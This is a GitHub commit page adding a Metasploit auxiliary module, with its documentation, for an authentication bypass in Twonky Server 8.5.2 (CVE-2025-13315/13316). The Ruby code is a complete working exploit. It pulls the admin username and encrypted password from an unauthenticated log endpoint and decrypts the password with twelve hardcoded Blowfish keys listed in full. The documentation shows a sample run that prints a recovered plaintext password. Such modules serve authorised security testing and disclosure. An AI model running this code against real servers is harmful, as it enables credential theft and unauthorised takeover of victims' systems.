Skip to content

Commit d7c307b

Browse files
authored
Land #20709, adds module for Twonky Server Authentication Bypass (CVE-2025-13315,CVE-2025-13316)
Auxiliary module for CVE-2025-13315/CVE-2025-13316 - Twonky Server Log Leak Authentication Bypass
2 parents f9b6189 + 1153f3c commit d7c307b

File tree

2 files changed

+211
-0
lines changed

2 files changed

+211
-0
lines changed
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
## Vulnerable Application
2+
This module leverages an authentication bypass in Twonky Server 8.5.2. By exploiting
3+
an authorization flaw to access a privileged web API endpoint and leak application logs,
4+
encrypted administrator credentials are leaked (CVE-2025-13315). The exploit will then decrypt
5+
these credentials using hardcoded keys (CVE-2025-13316) and login as the administrator.
6+
Expected module output is a username and plain text password for the administrator account.
7+
8+
## Options
9+
No custom options for this module exist.
10+
11+
## Testing
12+
To set up a test environment:
13+
1. Download a vulnerable 8.5.2 build of Twonky Server [here](https://download.twonky.com/8.5.2/) and follow the installation instructions.
14+
2. Go to Settings->Security->Admin account and create an administrator user. The application should prompt for basic authentication after.
15+
3. Restart the server. The credential values are written to logs on startup, so this is a prerequisite for exploitation.
16+
4. Follow the verification steps below.
17+
18+
## Verification Steps
19+
1. Start msfconsole
20+
2. `use auxiliary/gather/twonky_authbypass_logleak`
21+
3. `set RHOSTS <TARGET_IP_ADDRESS>`
22+
4. `set RPORT <TARGET_PORT>`
23+
5. `run`
24+
25+
## Scenarios
26+
### Twonky Server on Linux or Windows
27+
```
28+
msf auxiliary(gather/twonky_authbypass_logleak) > show options
29+
30+
Module options (auxiliary/gather/twonky_authbypass_logleak):
31+
32+
Name Current Setting Required Description
33+
---- --------------- -------- -----------
34+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
35+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
36+
RPORT 9000 yes The target port (TCP)
37+
SSL false no Negotiate SSL/TLS for outgoing connections
38+
TARGETURI / yes The URI path to Twonky Server
39+
VHOST no HTTP server virtual host
40+
41+
42+
View the full module info with the info, or info -d command.
43+
44+
msf auxiliary(gather/twonky_authbypass_logleak) > set RHOSTS 192.168.181.129
45+
RHOSTS => 192.168.181.129
46+
msf auxiliary(gather/twonky_authbypass_logleak) > run
47+
[*] Running module against 192.168.181.129
48+
[*] Confirming the target is vulnerable
49+
[+] The target is Twonky Server v8.5.2
50+
[*] Attempting to leak the administrator username and encrypted password
51+
[+] The target returned the administrator username: admin
52+
[+] The target returned the encrypted password and key index: 14ee76270058c6e3c9f8cecaaebed4fc5206a1d2066d4f78, 7
53+
[*] Decrypting password using key: jwEkNvuwYCjsDzf5
54+
[+] Credentials decrypted: USER=admin PASS=R7Password123!!!
55+
[*] Auxiliary module execution completed
56+
msf auxiliary(gather/twonky_authbypass_logleak) >
57+
```
Lines changed: 154 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,154 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpClient
8+
9+
def initialize(info = {})
10+
super(
11+
update_info(
12+
info,
13+
'Name' => 'Twonky Server Log Leak Authentication Bypass',
14+
'Description' => %q{
15+
This module leverages an authentication bypass in Twonky Server 8.5.2. By exploiting
16+
an authorization flaw to access a privileged web API endpoint and leak application logs,
17+
encrypted administrator credentials are leaked (CVE-2025-13315). The exploit will then decrypt
18+
these credentials using hardcoded keys (CVE-2025-13316) and login as the administrator.
19+
Expected module output is a username and plain text password for the administrator account.
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' => [
23+
'remmons-r7' # Initial discovery, MSF module
24+
],
25+
'References' => [
26+
['CVE', '2025-13315'],
27+
['CVE', '2025-13316'],
28+
['URL', 'https://www.rapid7.com/blog/post/cve-2025-13315-cve-2025-13316-critical-twonky-server-authentication-bypass-not-fixed/']
29+
],
30+
'Notes' => {
31+
'Stability' => [CRASH_SAFE],
32+
# No IoCs, in logs or individual files, are known
33+
# If a non-default reverse proxy is configured in front of Twonky Server, it may log web traffic
34+
'SideEffects' => [],
35+
'Reliability' => []
36+
}
37+
)
38+
)
39+
40+
register_options(
41+
[
42+
Opt::RPORT(9000),
43+
OptString.new('TARGETURI', [true, 'The URI path to Twonky Server', '/'])
44+
]
45+
)
46+
end
47+
48+
def run
49+
# Unauthenticated requests to the '/dev0/desc.xml' endpoint should return the version number
50+
print_status('Confirming the target is vulnerable')
51+
res = send_request_cgi(
52+
{
53+
'method' => 'GET',
54+
'uri' => normalize_uri(target_uri.path, 'dev0', 'desc.xml')
55+
}
56+
)
57+
58+
fail_with(Failure::Unknown, 'Connection failed - unable to get XML web response') unless res
59+
60+
# Confirm that the response contains the expected 8.5.2 XML string
61+
if (res&.code != 200) || (!res.body.include? '<modelNumber>8.5.2</modelNumber>')
62+
fail_with(Failure::NotVulnerable, 'The target does not appear to be a Twonky Server instance running version 8.5.2')
63+
end
64+
65+
print_good('The target is Twonky Server v8.5.2')
66+
67+
print_status('Attempting to leak the administrator username and encrypted password')
68+
res = send_request_cgi(
69+
{
70+
'method' => 'GET',
71+
'uri' => normalize_uri(target_uri.path, 'nmc', 'rpc', 'log_getfile')
72+
}
73+
)
74+
75+
fail_with(Failure::Unknown, 'Connection failed - unable to get log API response') unless res
76+
77+
# Grab the most recent (last) administrator username value from the logs
78+
pattern = / accessuser\s*=\s*(\S+)/
79+
result = res.body.scan(pattern).last
80+
81+
# If the log has been cleared since startup or the server hasn't restarted since setup
82+
fail_with(Failure::NotFound, 'The target did not return a log file containing a username value') unless result
83+
84+
username = result[0]
85+
86+
print_good("The target returned the administrator username: #{username}")
87+
88+
# Grab the most recent (last) password value from the logs to decrypt
89+
# "||" + hex number (key index) + hex Blowfish ECB ciphertext
90+
pattern = /\|\|([0-9A-F]){1}([a-fA-F0-9]+)/
91+
result = res.body.scan(pattern).last
92+
93+
# If the log has been cleared since the last password change or the server hasn't restarted since setup
94+
fail_with(Failure::NotFound, 'The target did not return a log file containing a password value') unless result
95+
96+
# Extract the encryption key index as base16
97+
enc_key_index = result[0]
98+
99+
# Handle possible match array containing more than minimum 16 chars (longer encrypted password)
100+
if !result[2].nil?
101+
enc_pwd = result[1] + result[2..].join
102+
else
103+
enc_pwd = result[1]
104+
end
105+
106+
print_good("The target returned the encrypted password and key index: #{enc_pwd}, #{enc_key_index}")
107+
108+
# Decrypt the admin password using static key
109+
password = decrypt_password(enc_pwd, enc_key_index)
110+
111+
print_good("Credentials decrypted: USER=#{username} PASS=#{password}")
112+
113+
report_vuln(
114+
host: rhost,
115+
name: name,
116+
refs: references
117+
)
118+
119+
store_loot('Twonky Server Credentials', 'text/plain', datastore['RHOST'], "Username: \"#{username}\" Password: \"#{password}\"")
120+
end
121+
122+
# Decrypt the password using Blowfish ECB with the specified encryption key
123+
def decrypt_password(pwd, key_num)
124+
# Twonky Server 8.5.2 uses static encryption keys for passwords
125+
static_keys = [
126+
'E8ctd4jZwMbaV587',
127+
'TGFWfWuW3cw28trN',
128+
'pgqYY2g9atVpTzjY',
129+
'KX7q4gmQvWtA8878',
130+
'VJjh7ujyT8R5bR39',
131+
'ZMWkaLp9bKyV6tXv',
132+
'KMLvvq6my7uKkpxf',
133+
'jwEkNvuwYCjsDzf5',
134+
'FukE5DhdsbCjuKay',
135+
'SpKNj6qYQGjuGMdd',
136+
'qLyXuAHPTF2cPGWj',
137+
'rKz7NBhM3vYg85mg'
138+
]
139+
140+
# Encrypted password hex to bytes
141+
pwd_bytes = [pwd].pack('H*')
142+
143+
# Select the appropriate key, based on the index hex number stored with the ciphertext
144+
key = static_keys[key_num.to_i(16)]
145+
146+
print_status("Decrypting password using key: #{key}")
147+
148+
cipher = OpenSSL::Cipher.new('bf-ecb').decrypt
149+
cipher.key_len = key.length
150+
cipher.padding = 0
151+
cipher.key = key
152+
cipher.update(pwd_bytes) + cipher.final
153+
end
154+
end

0 commit comments

Comments
 (0)